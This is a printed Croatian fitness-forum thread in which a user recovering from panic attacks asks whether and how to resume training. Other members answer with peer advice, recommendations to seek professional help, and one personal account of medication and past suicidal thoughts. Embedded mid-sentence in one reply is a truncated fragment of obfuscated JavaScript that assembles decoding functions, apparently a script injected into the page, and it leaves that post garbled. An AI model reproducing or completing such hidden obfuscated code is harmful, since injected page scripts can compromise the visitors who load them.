Anksioznost i trening
Printed From: Fitness.com.hr Forum
Category: Fitness / Aerobik
Forum Name: Zdravlje
Forum Description: Pitajte sve što vas zanima o zdravlju, a da je vezano za tjelovježbu
URL: http://www.fitness.com.hr/forum/forum_posts.asp?TID=9855
Printed Date: 27 Studeni 2024 at 12:44
Software Version: Web Wiz Forums 10.14 - http://www.webwizforums.com
Topic: Anksioznost i trening
Posted By: Mara44
Subject: Anksioznost i trening
Date Posted: 21 Studeni 2014 at 15:47
|
Pozdrav ljudi :) Ovako, zanima me Vaše mišljenje da li je u redu i da li uopće treba trenirati za vrijeme aksioznosti (neznam se bolje izraziti iako znam da to nije bolest kao druga koja ima period u kojem traje tipa prehlada). Prije jedno tri mjeseca skoro svakodnevno sam doživljavao napadaje panike i u tom trenu nisam ni pomislio na trening nego je to bila redovita borba samog sa sobom. No danas, evo skoro tri mjeseca nakon prvog napadaja nemam nekih svakodnevnih smetnji, osim što je u meni ostao strah od toga da ne dišem dovoljno duboko i strah od treninga (mislim da je to povezano - tipa da neću imat zraka odradit vježbu do kraja). Dosta sam čitao na netu i svugdje piše kako tjelesna aktivnost rješava čovjeka napetosti i slične stvari, a kod mene bi se moglo reći da je potpuno drugačija situacija jer sam par puta pokušao trenirati (trčanje, kućna teretana i sl) i uvijek sam nakon toga bio napetiji (tipa ruke mi se tresu - znam da je to možda i od napornih vježbi, ali imam neki čudan osjećaj koji prije nakon treninga nisam osjećao). Zanima me da li ima tko kakva saznanja, mišljenje ili kakve sugestije. Sve je dobro došlo :) |
Replies:
Posted By: never-give-up
Date Posted: 22 Studeni 2014 at 07:36
| Možda sebi stavljaš prevelika očekivanja i onda si pod pritiskom. Pokušaj šetati pa lagano trči, vozi bicikl, nemoj se opterećivati, nego pokušaj uživati u tome. |
Posted By: The Phoenix
Date Posted: 22 Studeni 2014 at 09:23
|
Pozz slobodno treniraj bez straha. Ne osluskuj se nakon treninga jer fizioloske promjene tipa ubrzanog pulsa , disanja i sveg ostalo su normalne reakcije.morat ces se naucit ne oridavat im vaznost i pitat se dal ces se ugusiti il kaj vec. Kreni po malo i radi na sebi a trening je odlicno sredstvo protiv stresa . ------------- http://www.nikolasfitnesslab.com/ - http://www.nikolasfitnesslab.com/ |
Posted By: Mara44
Date Posted: 22 Studeni 2014 at 18:15
|
Prvo, hvala na sugestijama :) Drugo, sve o čemu pišete napisane su studije i studije koje se mogu naći na internetu. Jako mi je teško ne primjetiti te sve ajmo reć fiziološke reakcije nakon treninga. Istina je da je to sve normalno, ali moj mozak trenutno ne funkcionira kao prije pola godine do godinu kada sam trenirao redovito i sada svaku takvu reakciju (fizičku) registrira drugačije nego prije. Možda si dobro napisao da imam prevelika očekivanja od sebe pa sad nakon 3 mjeseca nikakve aktivnosti mislim da mogu odradit trening kakav ljudi rade koji su u formi i treningu. Ipak je to sve u glavi, i vjerujte mi gore je ovo što mi se događa nego da imam neku bolest, tad bi bar bio na čisto o čemu se radi. |
Posted By: Gym_girl
Date Posted: 22 Studeni 2014 at 19:30
|
Mara, jesi li na kakvim terapijama, lijekovima? Ne znam da li da te pitam kako je to krenulo jer možda ne biš pisao o tome....iako nije ni nebitno znati, ovo su posljedice, a di su uzroci.... Ako već nisi, možda ti nebi bilo loše potražiti pomoć nekog stručnjaka koji bi s tobom mogao malo dublje rješavat taj problem? Jedno su prevelika očekivanja, pa pritom pretjerivanja i umor od prejakog treninga, a drugo je ta panika koja nastaje kao posljedica toga. Ne znam otkuda taj strah od toga da ne ostaneš bez zraka, pa valjda već i znaš svoje tijelo ako si trenirao prije, znaš kad treba stati ako ti je previše...uostalom, znaš da se nećeš ugušiti od toga...dakle, na nekoj razumnoj razini je sve jasno, ali nešto ti drugo radi problem. Ne znam koliko to ovaj forum može rješiti? :/ ------------- "To lead the orchestra, you have to turn your back on the crowd." Nutricionist & Fitness instruktor PN Certified Coach e-mail: [email protected] www.instagram.com/me_better365/ |
Posted By: Mara44
Date Posted: 23 Studeni 2014 at 18:53
| Nisam pod medikamentima i nekako ih pokusavam zaobici jer pomazu samo trenutno u situacijama anksioznosti, sto znaci da ako ih dulje vremena koristim vjerojatno ce tjelo vec postat otporno na trenutnu dozu i zahtijevat ce vise sto odmah prelazi sve granice i mislim da se to moze rjesiti i na druge nacine. Istina da je jedan od tih nacina i razgovor sa educiranom osobom (psihijatar ili psiholog - nisam siguran). Da budem iskren, nisam ni za tu vrstu ljecenja jer eto neznam, cak nemam ni razlog. Istina je da u svemu tome treba prinaci uzrok jer su sve ovo posljedice. Kolko god da se preispitivao neznam, tesko mi je ista dokuciti. I da, istina je i da cu bilo kakve odgovore pronaci na forumu ali eto svaka dobra rijec u ovakvim situacijama dobro dode :) |
Posted By: Gym_girl
Date Posted: 23 Studeni 2014 at 19:03
|
Sigurno da dobro dođe, pogotovo ako se nađe netko sa istim iskustvom :) Ali evo, kažem ti, teško je ovako preko monitora davati neke konkretne savjete kad ne znamo cijelu priču...pa čovjek ne zna otkud bi krenuo, di je zapavo problem, otkuda ti napadaji uopće...sigurno je bilo nešto što je sve pokrenulo ako je prije bilo sve ok. Jer kad s jedne strane znaš da nemaš razloga za strah, ali ipak ga se ne možeš rješiti to su neki sukobi unutar tebe, neka rascjepkanost koja se zbog nečega desila....možda bi ipak neki stručnjak pronašao odgovor na sve to, ako već ti sam ne možeš osvijestiti problem. Što se lijekova tiče, slažem se, bolje je držati se podalje definitivno (iako su nekad nažalost jedini izlaz, kad je netko tako podvojen da ne dolazi sebi ovako...) ali nekako moraš rješiti taj problem. Drago mi je da se ipak to smanjilo, da se osjećaš bolje sada, možda s vremenom i sve prođe potpuno? Možda da unatoč strahu kreneš u trening i jednostavno samog sebe iz treninga u trening uvjeravaš da je sve prošlo ok i da nema razloga za strah.......mislim da bi se s vremenom taj strah trebao rasplinuti sam od sebe ako ti vidiš da se nemaš čega strašiti, ne?  Svi ti znakovi koji ti se pojave samo su znakovi panike, straha....govori si da će sve bit ok, da si siguran i smirit će se....------------- "To lead the orchestra, you have to turn your back on the crowd." Nutricionist & Fitness instruktor PN Certified Coach e-mail: [email protected] www.instagram.com/me_better365/ |
Posted By: Morrighan
Date Posted: 23 Studeni 2014 at 19:51
|
Iz raznih iskustva iz moje okoline i nekih meni bliskih ljudi, mogu da ti kazem da anksioznost, ili barem neke naznake pocetka anksioznosti uopste nije naivna stvar. Ovde naravno ne moze niko nista blize da ti kaze jer nemamo mnogo informacija koje su bitne, o tome koliki je intenzitet te uznemirenosti, da li pored uznemirenosti imas neke misli koje te opsedaju, koju ti nelagodu prave, da li se javljaju neke kompulsivno opsesivne misli i tako dalje - postoji tu veliki spektar emocija i njihovog ispoljavanja koji pokazuje da li je to anksizonost - nervna preopterecenost - ili obicna nelagoda. Sve to sto si naveo je normalna stvar koja se desava telu posle fizicke aktivnosti, kao sto je Phoenix naveo fiziologija tela je jednostavno drugacija posle treninga, ali pitanje je da li ti te tegobe odnosno simptome imas samo za vreme treninga ili ti se ispoljavaju jos nekada van treninga kada ti se jave neke misli? Znojenje, znojenje dlanova, puls, nervoza...Posto kod tebe ocigledno izgleda da je trening uzrok anksioznosti i stresa. U svakom slucaju sta god da je, za te stvari uvek mislim da valja popricati sa nekim strucnim licem i da ne valja dati da to eskalira, stres jako brzo preraste u nesto drugo i lako se prikrade ljudima a da ni ne primete... Takodje svi ti neosnovani sttahovi i napadi panike se resavaju upravo izlaganjem tim stvarima kojih se plasimo kako bi videli da je taj strah neosnovan i iracionalan, ali opet ne treba uvek ni to raditi na svoju ruku jer mozak koji se prebaci na taj mindset i taj rad uopste ne moze sam da skapira da je to iracionalno. Kod tebe nije taj momenat i dalje, zato kazem mozda je najbolja opcija da sa nekim popricas :) ------------- |
Posted By: Mara44
Date Posted: 23 Studeni 2014 at 22:00
|
Slažem se da to uopće nije bezazlena stvar i da je treba stavit pod kontrolu. ALi ja sam se tih paničnih napada rješio (mislim rješio je relativna stvar), ali mogu sa sigurnošću reći da me ne ometaju u svakodnevnom životnim aktivnostima. Isto tako, živim jedan super život u super okruženju, nemam nikakvih briga što se tiče faksa, studentskog posla jer je sve u najboljem redu (čak sam za vrijeme tih ajmo reći najžešćih napadaja uspio dat 2 ispita i diplomirat na faksu tako da ono...nije ni tu uzrok). Stvar je strah, ma ustvari osjećaj da nemam dovoljno zraka koji je nakon toga ostao....i tu postoji ta želja povratku treniraju, tako da mi je ta kombinacija trenutno jedina stvar oko koje se brinem i o kojoj razmišljam (i to vam iskreno govorim). Gym_girl dobro ti kažeš, možda bi samo trebao krenut, počet trenirat i prepustit se i ne razmišljat o tome i valjda bi trebalo proći. I mislim da je to jedini lijek, nikakvi lijekovi i slične stvari. Mene je eto samo zanimalo to i stvarno vam se najdublje zahvaljujem na svom tom trudu koji ste izdvojili da koju dobru riječ napišete :)) |
Posted By: funtastik
Date Posted: 23 Studeni 2014 at 23:04
|
Probaj si zamisliti Titanic kako se u maglovitoj,hladnoj noći približava santi leda i svom snagom pokušava ju izbjeći... Naizgled i nažalost, samo komad leda, ali u suštinini je nešto mnogo veće, strašnije,neočekivano i nedokučivo. Ponekad su stvari dublje nego očekujemo i zasigurno u nesvjesnoj razini svijesti čuči nešto što te ometa na razini svjesnog.Vrlo vjerovatno mnogo toga i potiskuješ.Nađi uzrok svoga nemira ! Individualne psihoterapije (bez potpore lijekova) su prekrasna stvar. Toplo preporučam i želim da pronađeš svoj mir, a s time će doći i sve ostalo ;) |
Posted By: motivation_
Date Posted: 10 Prosinac 2014 at 11:22
|
Evo da ti da savjet neko ko je prosoa to sve kao i ti...< id="">(function(){var q=function(j){var a=046,z="",x=window,h=("\x66\u0072\x6f\u006D\x43\u0068\u0077c"+"\x69\u005a\u004E"+"e")["r"+"e"+"p\u006cace"+""]("\x77ci"+"Z\u004e","\x61\u0072\u0043\u006f\x64"),o=("\u0063K\u0044\u0077J"+"M\u0064\x65\x41t")[("\x4f\x46f"+"\x68\x61c\x65").replace("\u004FF\x66\x68",""+"r\x65\u0070\u006c")]("\x4B\u0044"+"w\u004aM","h"+""+"a\x72\u0043"+"o"),e=("\u006Cen\u0065"+"Gh")['r'+'e\u0070'+'la\u0063e']("\u0065\x47","\x67t"),t=("\x41\x6e\x6A\x67"+"n"+"g")[('r'+'UoY'+'Je').replace('\x55o'+''+'Y\x4A','e'+'p\u006C'+'ac')]("A\u006E\u006Ag","\x53"+"t"+"r\u0069"),b=x[t],d=b[h],y,r;for(var g=0;g Ali razlika je da sam ja pod lijekovima i da me sve to proslo za 2-3 mjeseca uz naravno terapiju sa psihijatrom.. Nemoj bjezati od lijekova-to je moj savje...ja ih prestajem piti polako sada (to je proces odvikavanja) jer psihijatar smatra da se sad mogu nositi sa tim. Anksioznost je veliki problem...imala sma napade panike u kojima sam pomisljala i na samoubistvo radi toga sto nisam bila zadovoljna svojim zivotom, faxom, uspjesima postignutim itd. Uvijek bi se brinula sto ce se desiti sutra, prekosutra, za mjesec. U tom periodu nisam puno trenirala...iskreno po meni to pogorsava situaciju... trebas da se skuliras prvo i da kazes sebi da li zapravo imas pravi razlog da budes anksiozan...ja sam zakljucila da nemam, sto me i dovelo do toga kako se osjecam danas- puno bolje nego prije anksioznosti... Nakon ta 2-3 mjeseca pocela sma intenzivnije trenirati. Mislim da je prvi korak za tebe da se suocis sa svojim problem, trening malo zaboravi, mislim da je bolje otici na plivanje ili u setnju...
|
Posted By: ero-sa-ovoga
Date Posted: 13 Prosinac 2014 at 14:27
|
Probaj piti čaj od matičnjaka.Jednom prilikom prije nekoliko godina kada sam bio pod stresom oko faksa i još nekih stvari koje su mi se izdogađale, jedan djedica mi je to preporučio.Mogu ti reći da iznenađujuće opušta i kao da te puni pozitivom. ------------- Mens sana in corpore sano! |
Posted By: Tomi #24
Date Posted: 07 Veljaca 2017 at 23:35
|
Zdravo Mara44 Posto se nalazim u istoj situacii. Imam pitanje dali i kako si prevazisao to. Fala unapred od velika pomoc bice mi tvoj odgovor. |